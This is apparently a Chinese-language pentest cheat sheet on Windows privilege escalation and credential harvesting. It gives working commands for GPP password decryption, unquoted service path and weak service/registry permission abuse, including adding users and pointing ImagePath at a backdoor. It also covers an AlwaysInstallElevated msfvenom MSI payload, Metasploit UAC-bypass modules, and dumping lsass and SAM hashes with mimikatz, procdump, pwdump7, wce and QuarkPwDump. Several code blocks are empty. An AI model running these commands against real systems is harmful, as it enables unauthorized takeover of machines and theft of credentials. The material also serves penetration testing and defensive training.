本机权限的提升
GPP在内网域环境中的利用
GPP是指组策略首选项,GPP通过操作组策略对象GPO对域中的资源进行管理。
SYSVOL是AD里面一个存储域公共文件服务器副本的共享文件夹,所有的认证用户都可以读取。SYSVOL包括登录脚本,组策略数据以及其他域控所需要的域数据。SYSVOL能在所有域控里面进行自动同步和共享
SYSVOL存储在
1 | \\<Domain>\SYSVOL\<Domain>\Policies\ |
因此,简单的来说就是,出于想更新每台主机上本地账户密码的目的,利用GPP可以指定某个域账户为所有计算机的本地计算机管理账户。而这个账号存储在SYSVOL中的某个xml文件中,其中的cpassword
值为AES加密值。同时AD中的所有用户都能读取该文件,对于AES对称加密后的密文,微软采用的是固定密钥,所以通过解密加密值可获取密码
可能存在密码的文件
1 | Preferences\Groups.xml |
xml文件内容,可以利用GPPPassword.ps1解密
1 |
|
1 | >powershell -ep bypass |
本地EXP溢出提权
Windows EXP大全
系统错误系统配置提权
可信任服务路径漏洞
Trusted Service Paths
漏洞是由系统中的“CreateProcess”函数引起的,利用了windows文件路径解析的特性,并涉及了服务路径的文件/文件夹权限,存在缺陷的服务程序利用了属于可执行文件的文件/文件夹权限。如果权限合适,我们可以上传恶意可执行文件。简单讲就是查找系统服务文件中存在非引用路径。如果一个服务调用可执行文件,没有正确处理引用的全路径名,就可以利用这个漏洞。
一个小Demo,编译之后存放在为C:\Program Files\Test\test.exe
1 |
|
从命令行直接通过其绝对路径执行该程序:
1 | $ "C:\Program Files\Test\test.exe" |
对于上面的空格,Windows都会尝试寻找并执行名字与空格前的名字相匹配的程序,所以不加引号的时候就会报错。此时,假如能上传一个适当命名的后门程序,那么当服务重启的时候就会以system权限运行(大多数情况下)
所以,理论上一个服务的可执行文件的路径没有用双引号封闭,且包含空格,那么就是存在漏洞的
- 检测是否存在漏洞
1 | wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr/i /v """ |
- 检查对有漏洞的目录是否具有写入权限
1 | icacls "C:\Program Files" |
- 使用
trusted_service_path
模块
系统服务的错误权限配置漏洞
Windows系统服务文件在操作系统启动时会加载执行,并且在后台调用可执行文件。比如,JAVA升级程序,每次重启系统时,Java升级程序会检测Oracle网站是否有新版的Java程序。而类似Java程序之类的系统服务程序加载的时候往往都是运行在系统权限上的。
所以如果一个低权限的用户对于此类系统服务调用的可执行文件具有可写的权限,那么就可以将其替换成恶意的可执行文件,从而随着系统启动服务而获得系统权限。
- 检查易受攻击的服务
1 | accesschk.exe -uwcqv "Authenticated Users" * /accepteula |
- 查看可以完全控制的服务的属性
1 | sc qc 360rp |
- 修改服务配置执行命令
一般而言BINARY_PATH_NAME
参数指向了该服务的可执行程序的路径。如果将这个值修改成恶意程序的路径(或者命令),那么在该服务下一次启动时就会以System权限运行恶意程序(或者命令)
1 | sc config 360rp binpath="net user yoga 123 /add" |
不安全的注册表权限配置
在Windows中,和服务有关的信息存储在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services
注册表项中。以服务360rp为例,服务对应的程序路径存储在HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LenovoDrvSv\ImagePath
中 ,如果对这一键值有写入权限就可以修改服务对应的程序路径,让系统以System权限运行恶意程序
检查注册表项的权限
1 | subinacl.exe /keyreg "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LenovoDrvSv\ImagePath" /display |
如果拥有对注册表的写入权限,就可以修改注册表,使得服务启动时以System运行恶意程序
1 | reg add "HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\LenovoDrvSv" /t REG_EXPAND_SZ /v ImagePath /d "D:/houmen.exe" /f |
AlwaysInstallElevated
AlwaysInstallElevated
是一种允许非管理员用户以System权限运行.MSI
文件的设置。默认情况下是禁用此设置的,需要管理员在组策略编辑器中手动启用
通过命令查询是否开启
1 | reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated |
开启返回:
1 | HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer |
未开启就会返回 系统找不到指定的注册表项或值
如果系统开启了AlwaysInstallElevated,可以使用msfvenom创建恶意msi文件,然后使用msiexec
进行开火
1 | msfvenom -f msi -p windows/adduser USER=msi PASS=Yoga123!@ -o /root/msi.msi |
或者直接使用exploit/windows/local/always_install_elevated
模块提至System权限
计划任务
适用系统版本:
- windows2000
- windows2003
- windows XP
at 是一个发布定时任务计划的命令行工具,语法比较简单。通过at命令发布的定时任务计划,Windows默认以System权限运行。定时任务可以是批处理,也可以是一个二进制文件
语法: at 11:00PM calc.exe
,/interactive
可以开启界面交互模式
利用Regsvr32+exploit/multi/script/web_delivery
模块
绕过Windows用户账户控制
UAC简介
用户账户控制(UAC)是微软公司在其Windows Vista及更高版本操作系统中采用的一种控制机制。其原理是通知用户是否对应用程序使用硬盘驱动器和系统文件授权,以达到帮助阻止恶意程序损坏系统的效果。
UAC需要授权的动作包括:
- 配置Windows Update
- 增加或删除用户账户
- 改变用户的账户类型
- 改变UAC设置
- 安装ActiveX
- 安装或移除程序
- 安装设备驱动程序
- 设置家长控制
- 将文件移动或复制到Program Files或Windows目录
- 查看其他用户文件夹
Bypass UAC的几种方式
- 白名单提权机制 - autoElevate
- DLL劫持
- Windows自身漏洞提权
- 远程注入
- COM接口技术
白名单绕过UAC
原理
具有autoElevate
属性True的应用程序会在启动时自动提升权限,而这些应用程序往往都具备微软的签名,微软任务它是可信的。故此该程序启动时,将会以管理员身份启动。可以通过对这些白名单程序进行DLL劫持、注入或是修改注册表执行命令的方式启动目标程序,实现Bypass UAC提权操作
方法
- step1:复制DLL文件到指定目录下,DLL的名字取决于操作系统版本
- step2:从上面的目录执行exe,将自动加载DLL,完成权限的提升
MSF Bypass UAC
- Windows权限升级绕过UAC保护
此模块将通过进程注入使用可信任发布者证书绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
1 | msf > use exploit/windows/local/bypassuac |
- 内存注入
该模块将直接运行在内存中的反射DLL中,由于它并不触碰硬盘,因此可以最大限度地降低被安全检测的概率。 (win7有效)
1 | msf > use exploit/windows/local/bypassuac_injection |
- 通过FodHelper注册表项
该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe
应用程序时调用的自定义命令来绕过Windows 10 UAC。
1 | msf > use exploit/windows/local/bypassuac_fodhelper |
- 通过Eventvwr注册表项
此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows事件查看器时调用的自定义命令来绕过Windows UAC。它将生成关闭UAC标志的第二个shell。
1 | msf > use exploit/windows/local/bypassuac_eventvwr |
- 通过COM处理程序劫持
此模块将通过在hkcu配置单元中创建COM处理程序注册表项来绕过Windows UAC。当加载某些较高完整性级别进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话权限提升的payload。
1 | msf > use exploit/windows/local/bypassuac_comhijack |
Invoke-PsUACme
是nishang的一个脚本。
1 | #加载脚本 |
使用RunAS提权
利用的是msf中的exploit/windows/local/ask
模块,创建一个可执行文件,目标机会运行一个发起提升权限请求的程序,提示用户是否要继续运行,如果选择是,就会触发返回一个高权限的meterpreter shell
【注】
- 系统当前用户需要在管理员组或者知道管理员密码
- 为了避免给杀毒软件查杀,该可执行文件(需进行免杀处理)的创建要使用
EXE::Custom
选项。
获取哈希
常用Windows远程连接命令
1 | #设置远程桌面端口 |
Windows Hash获取
Meterpreter
都需要system权限
- run hashdump
- run powerdump
- run post/windows/gather/smart_hashdump
- mimikatz
1 | load mimikatz |
mimikatz
- 首先用管理员账号运行cmd.exe
- 紧接着进入mimikatz,运行
1 | privilege::debug |
结果:
windows2003系统中可以导出账号hash值以及明文密码
windows7系统中可以导出账号hash值以及明文密码
win10X64系统(需要管理员权限)中只能导出账号NTLM的hash值,无法获取明文
windows2008系统中可以导出账号hash值以及明文密码
windows2012系统中可只能导出账号NTML的hash值,无法获取明文
getpass
只能获取windows2003以及windows7和win2008的明文密码,有32和64为之分,从mimiktaz编译而成的exe
procdump+mimikatz
- 首先用procdump下载lsass进程的内存,而且因为procdump是Microsoft Sysinternals tools中的工具,所以AV是不会查杀它的(记住用管理员运行cmd )或者直接在任务管理器中找到
"lsass.exe"
,然后选择创建转储文件拿到dmp文件
1 | procdump.exe -accepteula -ma lsass.exe lsass.dmp 2>&1 |
- 接着用mimikatz打开dmp文件,获取内存中的内容(dmp可以下载到本地主机再查看里面的内容,相当于离线模式。但是得确保主机内核版本得一致)
1 | mimikatz.exe log "sekurlsa::minidump lsass.dmp" sekurlsa::logonPasswords exit |
pwdump7
使用管理员运行cmd,然后运行pwdump7.exe
1 | #导出sam文件 |
结果:
windows 2003系统中可导出账号LM和NTLM的hash值
windows7系统中只能导出账号NTLM的hash值
windows10系统(需要管理员权限)中只能导出账号NTLM的hash值
window2012系统中只能导出账号NTLM的hash值
windows2008系统中只能导出账号NTLM的hash值
wce
WCE支持Windows XP,Windows 2003,Vista,Windows 7和Windows 2008(所有SP,32位和64位版本)
1 | #wce的pass传递 |
结果:
windows2003系统中可获取hash值,也可以获取hash明文
windows7系统中可获取hash值,也可以获取hash明文
windows2008系统中可获取hash值,也可以获取hash明文
windows10系统中无法获取hash值
windows2012系统中无法获取hash值
QuarkPwDump
Quark PwDump是从Windows操作系统提取凭据的本地Win32工具
1 | quarkspwdump --dump-hash-local -o hash.txt |
结果:
windows2003系统中可以导出本地hash值
windows7系统中可以导出本地hash值
windows10系统可以导出本地hash值
windows2008系统中可以导出本地hash值
win2012系统中可以导出本地hash值